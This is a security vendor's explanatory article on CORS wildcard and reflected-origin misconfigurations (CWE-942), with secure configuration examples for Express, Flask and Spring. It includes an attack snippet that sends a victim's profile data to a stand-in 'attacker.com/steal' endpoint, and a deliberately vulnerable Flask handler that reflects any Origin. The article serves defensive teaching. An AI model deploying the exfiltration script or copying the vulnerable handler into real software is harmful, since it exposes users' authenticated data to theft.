Skip to main content

Free 30-min security demo  — We'll scan your real code and show live findings, no commitment Book Now

Offensive360
Vulnerability Research

CORS Wildcard (Access-Control-Allow-Origin: *): Risk & Fix

Access-Control-Allow-Origin: * exposes your API to cross-site attacks. Learn exactly what the CORS wildcard means, when it's dangerous, and the correct restrictive configuration.

Offensive360 Security Research Team — min read
CORS Access-Control-Allow-Origin wildcard cross-origin API security web security CWE-942

Access-Control-Allow-Origin: * is one of the most common security misconfigurations in web APIs. It appears harmless — it just lets browsers load resources from your server cross-origin, right? In reality, a wildcard CORS policy on an API that handles authenticated requests is a serious vulnerability that can be exploited to steal data from your users.

This guide explains exactly what the CORS wildcard header does, when it’s dangerous, and how to configure CORS correctly.


What CORS Is and Why It Exists

The Same-Origin Policy (SOP) is a browser security mechanism that prevents JavaScript on evil.com from reading responses from api.yourbank.com. Without it, any website could silently make authenticated API requests using your logged-in session cookies and read the results.

CORS (Cross-Origin Resource Sharing) is the controlled relaxation of the Same-Origin Policy. When your server sends Access-Control-Allow-Origin: https://yourapp.com, it tells browsers: “JavaScript from this specific origin is allowed to read our responses.”

The wildcard * tells browsers: “JavaScript from any origin may read our responses.”


When Access-Control-Allow-Origin: * Is Acceptable

The wildcard is appropriate in exactly one scenario: public, unauthenticated resources — content that you explicitly want any website or application to be able to fetch.

Legitimate uses:

  • Public CDN assets (fonts, scripts, images)
  • Open data APIs with no authentication
  • Public documentation APIs
  • Publicly readable datasets

If your endpoint requires any form of authentication — session cookies, JWT tokens, API keys — the wildcard is not safe.


When Access-Control-Allow-Origin: * Is Dangerous

The wildcard is dangerous when it appears on endpoints that:

  • Return user-specific data (profile info, account details, transaction history)
  • Require authentication (session cookies, bearer tokens)
  • Perform state-changing operations (POST, PUT, DELETE requests)
  • Return sensitive internal data (configuration, admin information)

The Attack: Cross-Site Data Theft

Here is how an attacker exploits a wildcard CORS policy on an authenticated API:

1. Victim visits the attacker’s page

The victim is logged into api.yoursite.com — they have a valid session cookie in their browser.

2. Attacker’s page makes a cross-origin request

// Running on attacker.com
fetch('https://api.yoursite.com/user/profile', {
  credentials: 'include', // Send the victim's session cookies
})
  .then(r => r.json())
  .then(data => {
    // Attacker receives the victim's profile data
    fetch('https://attacker.com/steal?data=' + JSON.stringify(data));
  });

3. Result

If api.yoursite.com responds with Access-Control-Allow-Origin: * and Access-Control-Allow-Credentials: true, the browser delivers the authenticated response to the attacker’s script.

Note: Browsers actually block Access-Control-Allow-Origin: * combined with Access-Control-Allow-Credentials: true. This is a browser-level protection. However, a wildcard origin alone is still dangerous for any data returned to unauthenticated requests, and many applications implement “reflected origin” CORS (see below) that is far more dangerous.


The Worse Problem: Reflected Origin CORS Misconfiguration

Many applications dynamically reflect the request’s Origin header back without validating it:

# VULNERABLE — reflects any Origin back
@app.after_request
def add_cors_headers(response):
    origin = request.headers.get('Origin')
    if origin:  # ← No validation at all
        response.headers['Access-Control-Allow-Origin'] = origin
        response.headers['Access-Control-Allow-Credentials'] = 'true'
    return response

This is functionally equivalent to Access-Control-Allow-Origin: * but also allows credentialed requests — the worst of both worlds. Any site can make authenticated cross-origin requests and read the responses.

This pattern is often introduced when developers try to “fix” a CORS error without understanding the security implications.


Knowledge Base Reference

The CORSAllowOriginWildcard rule in the Offensive360 Knowledge Base covers this vulnerability. It maps to:

  • CWE-942: Permissive Cross-domain Policy with Untrusted Domains
  • OWASP A05:2021 — Security Misconfiguration
  • OWASP API Security API8 — Security Misconfiguration

Offensive360 SAST detects this pattern statically — scanning for wildcard Access-Control-Allow-Origin values and reflected-origin patterns in your middleware configuration code.


How to Configure CORS Correctly

// Node.js / Express
const allowedOrigins = [
  'https://app.yourcompany.com',
  'https://yourcompany.com',
  'https://staging.yourcompany.com', // Include staging if needed
];

app.use((req, res, next) => {
  const origin = req.headers.origin;

  if (allowedOrigins.includes(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Vary', 'Origin'); // Required when origin varies
    res.setHeader('Access-Control-Allow-Credentials', 'true');
    res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS');
    res.setHeader(
      'Access-Control-Allow-Headers',
      'Content-Type, Authorization, X-Requested-With'
    );
  }

  if (req.method === 'OPTIONS') {
    return res.sendStatus(204);
  }

  next();
});
# Python / Flask with flask-cors
from flask_cors import CORS

CORS(app, origins=[
    'https://app.yourcompany.com',
    'https://yourcompany.com',
], supports_credentials=True)
// Spring Boot — CorsConfigurationSource bean
@Bean
public CorsConfigurationSource corsConfigurationSource() {
    CorsConfiguration config = new CorsConfiguration();
    config.setAllowedOrigins(List.of(
        "https://app.yourcompany.com",
        "https://yourcompany.com"
    ));
    config.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE", "OPTIONS"));
    config.setAllowedHeaders(List.of("Authorization", "Content-Type"));
    config.setAllowCredentials(true);

    UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
    source.registerCorsConfiguration("/api/**", config);
    return source;
}

Option 2: Wildcard with No Credentials (for Truly Public APIs)

If you have a public API where a wildcard is genuinely appropriate:

Access-Control-Allow-Origin: *
# Do NOT add: Access-Control-Allow-Credentials: true
# Do NOT add: Access-Control-Allow-Headers: Authorization

Without Allow-Credentials: true, the browser will not send cookies or Authorization headers with the cross-origin request — making data theft impossible even with the wildcard.


The Vary: Origin Header

When you implement a dynamic origin allowlist, always include Vary: Origin in responses:

Access-Control-Allow-Origin: https://app.yourcompany.com
Vary: Origin

This tells CDNs and reverse proxies that the CORS response varies by the Origin header, preventing a cached Access-Control-Allow-Origin: https://app.yourcompany.com response from being served to a different origin.

Missing Vary: Origin with dynamic origin reflection can cause incorrect CORS headers to be served from cache.


Testing Your CORS Configuration

Use curl to verify your CORS headers:

# Test for wildcard response
curl -H "Origin: https://evil.com" \
     -H "Access-Control-Request-Method: GET" \
     -I https://api.yoursite.com/user/profile

# Check the response for:
# Access-Control-Allow-Origin: * (bad on authenticated endpoints)
# Access-Control-Allow-Origin: https://evil.com (reflected origin — very bad)
# Access-Control-Allow-Credentials: true (check if paired with wildcard)

A safe response on an authenticated endpoint should either:

  • Return no Access-Control-Allow-Origin header (for unrecognized origins)
  • Return Access-Control-Allow-Origin: https://your-legitimate-origin.com (your specific allowlist)

CORS Wildcard in Single-Page Applications

SPAs (React, Angular, Vue) often introduce CORS wildcard policies during development because the frontend and backend run on different ports (localhost:3000 vs localhost:8080). The common mistake is carrying these development CORS settings into production.

Development configuration (acceptable locally):

// dev only — do NOT deploy this
app.use(cors({ origin: '*' }));

Production configuration:

// Environment-aware CORS
const allowedOrigins = process.env.NODE_ENV === 'production'
  ? ['https://app.yourcompany.com']
  : ['http://localhost:3000', 'http://localhost:5173'];

app.use(cors({
  origin: allowedOrigins,
  credentials: true,
}));

Use environment variables to switch CORS policies between development and production, and ensure your CI/CD pipeline deploys the production configuration.


Summary: Is Your CORS Configuration Safe?

ConfigurationAuthenticated EndpointsPublic Endpoints
Access-Control-Allow-Origin: *❌ Dangerous✅ Acceptable
Access-Control-Allow-Origin: * + Allow-Credentials: true❌ Blocked by browsers (but don’t rely on this)❌ Contradictory
Reflected origin (any origin echoed back)❌ Critical vulnerability❌ Dangerous
Explicit allowlist + Allow-Credentials: true✅ Correct✅ Correct
No Access-Control-Allow-Origin header✅ Correct (blocks all cross-origin reads)❌ Breaks legitimate use

Rule of thumb: If the endpoint requires authentication, or returns user-specific data, use an explicit origin allowlist — never a wildcard.


Offensive360 SAST automatically detects wildcard CORS configurations and reflected-origin patterns in your source code. Scan your code or browse the Knowledge Base for more vulnerability references.

Offensive360 Security Research Team

Application Security Research

Find vulnerabilities before attackers do

Run Offensive360 SAST and DAST against your applications and get a full vulnerability report in minutes.